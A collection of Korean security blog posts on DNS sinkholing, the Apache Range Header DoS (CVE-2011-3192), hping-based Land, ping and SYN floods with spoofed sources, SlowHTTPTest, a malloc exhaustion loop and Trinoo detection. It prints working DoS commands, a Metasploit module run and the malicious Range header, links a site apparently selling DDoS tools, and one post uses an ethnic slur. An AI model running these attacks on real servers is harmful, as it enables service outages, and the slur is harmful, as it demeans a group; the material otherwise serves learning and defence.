[싱크홀] DNS 싱크홀 설정방법






# DNS sinkhole (DNS 싱크홀) 이란?


sinkhole 은 "(땅 속의) 빗물에 패인 구멍" 이라는 사전적 의미를 가지고 있습니다.




해커는 좀비PC 들을 제어하기 위해 C&C 서버를 이용합니다.


이러한 C&C 서버는 보통 악용된 도메인으로 이루어집니다.


DNS 싱크홀은 좀비PC가 C&C 주소로 접속을 할 때 미리 설정된 DNS를 통해 C&C 도메인이 아닌 사용자가 설정된


도메인으로 접속하게 끔 변경하는 기술입니다.




비슷한 기술로 DDoS 공격 시 라우터에서 설정하는 Null Routing 즉, 블랙홀 라우팅이 있습니다.


블랙홀 라우팅을 흔히 싱크홀 라우팅이라고도 합니다.




다만 DNS 싱크홀은 라우터가 아닌 DNS 서버를 변경하여 좀비PC가 접속하는 C&C 주소를 변경하는 기술이 되겠습니다.






# 설정 방법


DNS 서버에서 C&C 주소를 포워딩하게끔 설정하시면 됩니다.


이는 수동으로 설정해야 하지만 아래 S4를 사용하시면 자동으로 이를 관리할 수 있습니다.




현재 KISA 에서 DNS를 자체적으로 운영하고 있는 기업 및 기관을 대상으로 싱크홀 서비스를 하고 있습니다.


바로 Sinkhole Status Share System ( S4 ) 라고 하며 회원제로 운영됩니다.


https://s4.knsp.org 사이트에 접속하여 회원가입을 합니다.




(출처) https://s4.knsp.org




xbot@kisa.or.kr 로 회원가입을 하시면 인증과정을 거친 후 DNS 설정변경에 대한 답을 받게 됩니다.


이 때 AS Number 및 DNS 서버의 IP 를 설정합니다.




(출처) https://s4.knsp.org




업데이트 되는 블랙리스트 정보는 관리하는 AS Number 및 싱크홀 접근 서버 IP 가 승인된 후 확인이 가능합니다.






# DNS 싱크홀 적용안내서 / 출처 : KrCERT




# 윈도우 DNS 싱크홀 설정방법 / 출처 : KrCERT


윈도우_싱크홀_적용가이드.pdf






# 리눅스 DNS 싱크홀 설정방법 / 출처 : KrCERT


Bind_싱크홀_적용_가이드.pdf






위 적용가이드를 통해 DNS 싱크홀을 설정하시면,


봇에 감염된 PC가 해커와 연결을 시도할 때 해커의 시스템이 아니라 KISA의 싱크홀 서버로 접속하게 됩니다.


따라서 더 이상 해커부터 좀비 PC가 악용되지 않게 되며,


이러한 수집정보를 통해 보다 체계적인 감염 PC 관리 및 봇에 대한 정보 공유가 가능하게 되었습니다.


저작자 표시 비영리 동일 조건 변경 허락
신고
  1. 교과부 DNS Sinkhole 주소 : http://210.102.126.183/black_list/list.conf

[DoS] Apache Range Header DoS / CVE-2011-3192

 

 

 

 

 

참조 URL : http://people.apache.org/~dirkx/CVE-2011-3192.txt

 

 

 

 

 

Apache Range Header DoS는 L7 어플리케이션 공격 중 일부로 일명 Apache Killer라고도 합니다.

 

 

HTTP는 헤더정보에 range를 사용하여 pdf 나 동영상 등의 일부를 로딩할 수 있습니다.

 

 

만약 문서를 로딩하는 바이트의 범위를 악의적으로 조작한다면 서버의 CPU와 메모리자원을 고갈시킬 수 있습니다.

 

 

 

 

 

# 리눅스 시스템에서 테스트

 

 

참조 URL : http://code.google.com/p/apache-range-header-test/

 

 

저는 CentOS 6.3에서 테스트 해보았습니다.

 

 

1. 패키지 설치

yum install perl perl-libwww-perl

 

 

2. script 다운로드

wget  http://code.google.com/p/apache-range-header-test/downloads/detail?name=httprangetest.pl

 

 

3. 테스트

perl httprangetest.pl http://victim.com

 

 

 

 

 

# Backtrack 에서 테스트

 

 

1. msfconsole

 

 

2. 테스트

msf > use auxiliary/dos/http/apache_range_dos

msf  auxiliary(apache_range_dos) > set rhost 1.1.1.1

msf  auxiliary(apache_range_dos) > run

 

 

 

 

 

 

# 공격 시 트래픽 덤프 내용

 

HEAD / HTTP/1.1

Host: 1.1.1.1

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-

 

- 중략 -

 

1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299

Accept-Encoding: gzip

Connection: close

 

 

 

 

 

# 대응방안 :

1. 아파치를 최신버전으로 패치합니다.

 

 

2. 상용 웹방화벽이나 mod_security와 같은 보안솔루션에서 HEAD Method를 사용을 해제 합니다.

저작자 표시 비영리 동일 조건 변경 허락
신고

[DoS] 리눅스 자원 고갈 공격


[DoS] 리눅스 자원 고갈 공격


다음과 같은 소스를 통해

malloc() 함수가 계속 메모리 할당을 진행하게 하여

시스템의 CPU와 메모리 자원을 소모하게 할 수 있습니다.


결국 해당 시스템은 명령을 실행하는 데 상당한 시간이 소요됩니다.


# 해당 소스

#include <stdio.h>

void main(){

        char *m;

        while(1)

                m = malloc (1000);

}



# 빌드 방법

gcc -o test test.c



# vmstat 화면 / CPU & 메모리 자원 고갈...


저작자 표시
신고

[Land] Land Attack 에 대하여


# Land Attack


land 의 사전적 의미는,

착륙, 상륙 하다 이외에 "나쁜 상태에 빠지게 하다" 라는 뜻도 있습니다.


사전적 의미와 같이 해당 시스템을 나쁜 상태에 빠지게 하는 방법으로
패킷을 전송할 때 destination 의 IP 와 source IP 를 같게 보내는 공격 입니다.

예전 Old 한 시스템의 경우 CPU 의 자원을 소모하는 DoS 성 공격이었으나
현재 시스템은 동일 IP 로 유입되는 즉, "출발지 IP = 목적지 IP" 트래픽에 대해 Drop 을 합니다.




# Land Attack Testing

hping 을 사용하여 간단히 Land Attack 을 테스트 할 수 있습니다.

방법 : 

hping2 192.168.10.250 -a 192.168.10.250 -1           // -a : 출발지 주소, -1 : icmp


그림1) 리눅스 시스템에서 hping 테스트



그림2) wireshark 를 통한 패킷 덤프 화면


저작자 표시
신고

[hping] hping 설치 및 사용방법



참고 URL : http://hping.org



hping 은 다음과 같은 기능이 있습니다.


1. hping 의 기능

   - 방화벽 테스팅

   - 포트 스캔

   - 네트워크 테스팅

   - MTU 확인

   - traceroute

   - OS 핑거프린팅

   - 업타임 추측

   - TCP/IP 스택 체크

   - TCP/IP 스터디 시 유용함




2. hping2 설치 방법

  저는 CentOS 5.3 에서 hping2 버전을 다운로드 하였습니다.


  가. 다운로드 / http://hping.org/download.php

  wget http://hping.org/hping2.0.0-rc1.tar.gz


  나. 압축 해제

  tar xvfz hping2.0.0-rc1.tar.gz 


  다. 설치 / INSTALL 파일을 참조합니다.

  리눅스의 경우,

  cd hping2

  ./configure

  make ; make install

  입니다.




3. hping2 사용방법

  가. 일반적인 ping flooding

  hping -1 192.168.10.250 -d 60000          // -1 은 icmp, -d 는 데이터 크기



  나. 출발지 IP 변조

  hping 192.168.10.250 -1 -a 0.0.0.1 -d 60000          // -a 는 출발지 IP 스푸핑


 그림1) icmp protocol 로 filter 시


  위 캡처화면에서 보면,

  icmp 에 대한 id 값이 같으므로 한 패킷이 fragmentation 되었다는 것을 확인할 수 있습니다.


  id = packet 의 IP Header 의 Identification 값


  그림2) Fragments 에 해당되는 덤프 화면 / no filter 시  

  위 화면에서도 마찬가지로 IP Fragments 에 해당 패킷이 쪼개져 전송되는 것을 확인할 수 있습니다.



  다. syn flooding

  hping2 192.168.10.250 -a 1.1.1.1 -p 445 -S          // -S 는 syn flag 설정, -p 는 목적지 포트


  그림3) syn flooding 덤프 화면

 192.168.10.250 target 에서 SYN, ACK 응답만 계속 보내게 됨


  그림4) 192.168.10.250 target 에서 세션 현황 / SYN_RECEIVED 상태



 


저작자 표시
신고

[DoS] SlowHTTPTest 테스트


SlowHTTPTest 는 Application Layer DoS 를 시뮬레이션 하기 위한 툴 입니다.

기존 
Slowloris, Slow HTTP POST와 같이 낮은 대역폭으로 Concurrent Connections Pool 을 소모하며,
Apache Range Header attack 을 통해 서버의 메모리와 CPU 자원을 고갈시킵니다.

Slowloris 와 Slow HTTP POST DoS 는 HTTP 프로토콜에 기반하여 제작되었으므로 시뮬레이션 시 서버의
Requests를 필요합니다.
만약 HTTP Request 가 완전하지 않거나 매우 느리게 전송될 경우 서버는 데이터를 기다려며 자원을 소모합니다.
계속 자원이 소모될 경우 서버는 서비스불능 상태가 됩니다.
이와 같이 Slowloris와 Slow HTTP POST 는 HTTP Request 를 부분적으로 전송하여 타겟 HTTP 서버를 DoS 상태로 만듭니다.

반면 Slow Read DoS attack 은 Request를 지연시키는 것이 아니라,
정상적인 Request를 보내고 느리게 Response를 읽게 함으로써 서버의 자원을 고갈시킵니다.


예를 들자면,
점심시간 직원들끼리 중국집에 가서 주문을 하는데...

기존의 Slowloris 와 Slow HTTP POST 이
주문을 받으러 사람이 왔을 때 주문을 천천히 하거나 주문을 계속 번복하여 다른사람의 주문이 주방으로 못들어가게 하는 공격인 반면,

Slow Read DoS attack 은
주문 시 중국집에서 가장 시간이 오래 걸리는 특선요리를 10개 정도 시켜 주방이 마비가 되도록하는 공격입니다. ^^;
 




# SlowHTTPTest 설치방법
 
저는 CentOS 5.5에서 테스트 해보았습니다.
 
 

1. http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 에서 최신 버전을 다운로드 합니다.

wget 
http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 




2. 압축을 해제 합니다.

tar xvfz slowhttptest-1.4.tar.gz




3. 컴파일을 합니다.
./configure ; make ; make install




4. slowhttptest -c 100 -B -i 100 -r 200 -s 10000 -u http://site.com 를 통해 테스팅을 합니다.
( 약 5초 후 Service가 Down 된 것이 표시됩니다. ) 




# slowhttptest 1.4 옵션
 

slowhttptest 1.4, a tool to test for slow HTTP DoS vulnerabilities.
Usage:
slowhttptest [-a <range start>] [-b <range limit>]
[-c <number of connections>] [-<H|B|R|X>]
[-g <generate statistics>]
[-i <interval in seconds>] [-k <request multiply factor>]
[-l <test duration in seconds>]
[-n <slow read interval in seconds>] [-o <output file path and/or name>]
[-p <timeout for probe connection>]
[-r <connections per second>]
[-s <value of Content-Length header>] [-t <verb>]
[-u <URL>] [-v <verbosity level>] 
[-w <advertised window size range start>] [-x <max length of follow up data>]
[-y <advertised window size range end>] [-z <slow read from recieve buffer in bytes>]
Options:
-a start,        left boundary of range in range header, default: 5
-b bytes,        limit for range header right boundary values, default: 2000
-c connections,  target number of connections, default: 50
-h               display this help and exit
-H, -B, -R or X  specify test mode (slow headers,body, range or read),
                default: headers
-g,              generate statistics with socket state changes,
                default: off
-i seconds,      interval between followup data in seconds, default: 10
-k num,          number of times to repeat same request in the connection
                Use to multiply response size if server supports persistent connections.
                Effective in slow read (-X) mode only, default: 1
-l seconds,      target test length in seconds, default: 240
-n seconds,      interval between read operations from recv buffer in seconds.
                Effective in slow read (-X) mode only, default: 1
-o file,         save statistics output in file.html and file.csv,
                -g must be specified to use this option
-p seconds,      timeout to wait for HTTP response on probe connection,
                after which server is considered inaccessible,
                default: 5
-r num,          connection rate (connections per seconds), default: 50
-s bytes,        value of Content-Length header if needed, default: 4096
-t verb          verb to use in request,
                defalut to GET for slow headers and response and to POST for slow body
-u URL,          absolute URL of target, default: http://localhost/
-v level,        verbosity level 0-4: Fatal, Info, Error, Warning, Debug
                default: 1 - Info
-w bytes,        start of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 1
-x bytes,        max length of each randomized name/value pair of
                followup data per tick, e.g. -x 2 generates
                X-xx: xx for header or &xx=xx for body, where x
                is random character, default: 32
-y bytes,        end of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 512
-z bytes         bytes to slow read from receive buffer with single read() call.
                Effective in slow read (-X) mode only, default: 5


저작자 표시
신고
  1. 멋진관우 2016.02.04 13:36 신고

    slowhttptest 다운로드 신규 경로는 다음과 같습니다.

    wget http://slowhttptest.googlecode.com/files/slowhttptest-1.5.tar.gz

    만약 ./configure 과정에서 openssl-dev 에러가 발생할 경우,

    apt-get install libssl-dev 를 통해 해당 라이브러리를 설치하시면 됩니다.


[DDoS] DDoS툴 구입사이트

http://aishen118.dothome.co.kr

중간에 보면 위디스크 P2P에 파일을 업로드하는 화면도 보입니다.


분명 중국인에 의해 만들어진 DDoS툴의 상품화(?) 사이트라고 생각되네요.

그러나 dothome 도메인을 사용했으니 국내 검색엔진에도 당연히 노출이 되겠죠?

중국 홈페이지와 메신저로만 거래되는지 알았던 DDoS툴이 버젓이 국내 사이트에도 있었네요.

dothome에서 이러한 호스팅은 폐쇄했으면 좋겠지만 이러한 광고는 중국내에서도 문제시 되는 이슈라고 생각됩니다.




신고
[DDoS] About Trinoo

# 최초의 DDoS Attack : 1999년 8월 17일 미네소타 대학 공격

# Trinoo
UDP Flooding을 일으키는 대표적인 툴
  • 사용하는 통신 포트
    • attacker -> master : TCP 27665
    • master -> daemons : UDP 27444
    • daemons -> master : UDP 31335
  • master가 daemons에게 명령을 보낼 때 사용되는 Default password(plain text)
    • l44adsl - trinoo daemon password
    • gOrave - trinoo master server startup
    • betaalmostdone - trinoo master remote interface password
    • killme - trinoo master password to control "mdie" command
  • trinoo가 설치되는 파일 이름
    • ns
    • http
    • rpc.trinoo
    • rpc.listen
    • trinix
    • rpc.irix
    • irix
  • 주기적으로 trinoo daemon을 실행하기 위해 crontab에 등록한 예
    • * * * * *  /usr/sbin/rpc.listen
  • 탐지 방법
    • 네트워크 트래픽 체크 - tcpdump, snoop 등(UDP 트래픽 급증함)
    • nmap 체크
      nmap -PI -sT -p 27665 host
      nmap -PI -sU -p 31335 host
      nmap -PI -sU -p 27444 host
    • crontab 이나 디렉토리 검색
      master : tserver1900
      daemon : tsolnmb, ns, httpd, rpc.trinoo, rpc.listen, trinix, rpc.irix, irix
    • lsof, ps, netstat 등을 통해 포트 확인
      lsof | egrep "31335|27665"
      lsof -p pid (파일경로 확인)

그림출처 : linuxfocus.org


신고

[DDoS] DDoS 관련 데모

http://www.cisco.com/web/KR/learning/online_seminar/pop_3_1.html

시스코에서 만든 자료입니다...

2008 Cisco 세미나때의 자료이지만 유용하리라 생각됩니다...


신고

어느 디도스(DDoS) 크래커의 인사...

망할 짱개넘들...

갑자기 메신저 ID의 중요성을 새삼 되새기게 되네염...

메신저 ID는 웬만하면 유출되지 않게 해야겠네염...

컨택 포인트가 없으면? -_- 해커는...물론 다른 방법을 찾겠죠...-_-(랜섬공격+사회공학공격)

출처 ; 디도스 전문대응 카페

신고

+ Recent posts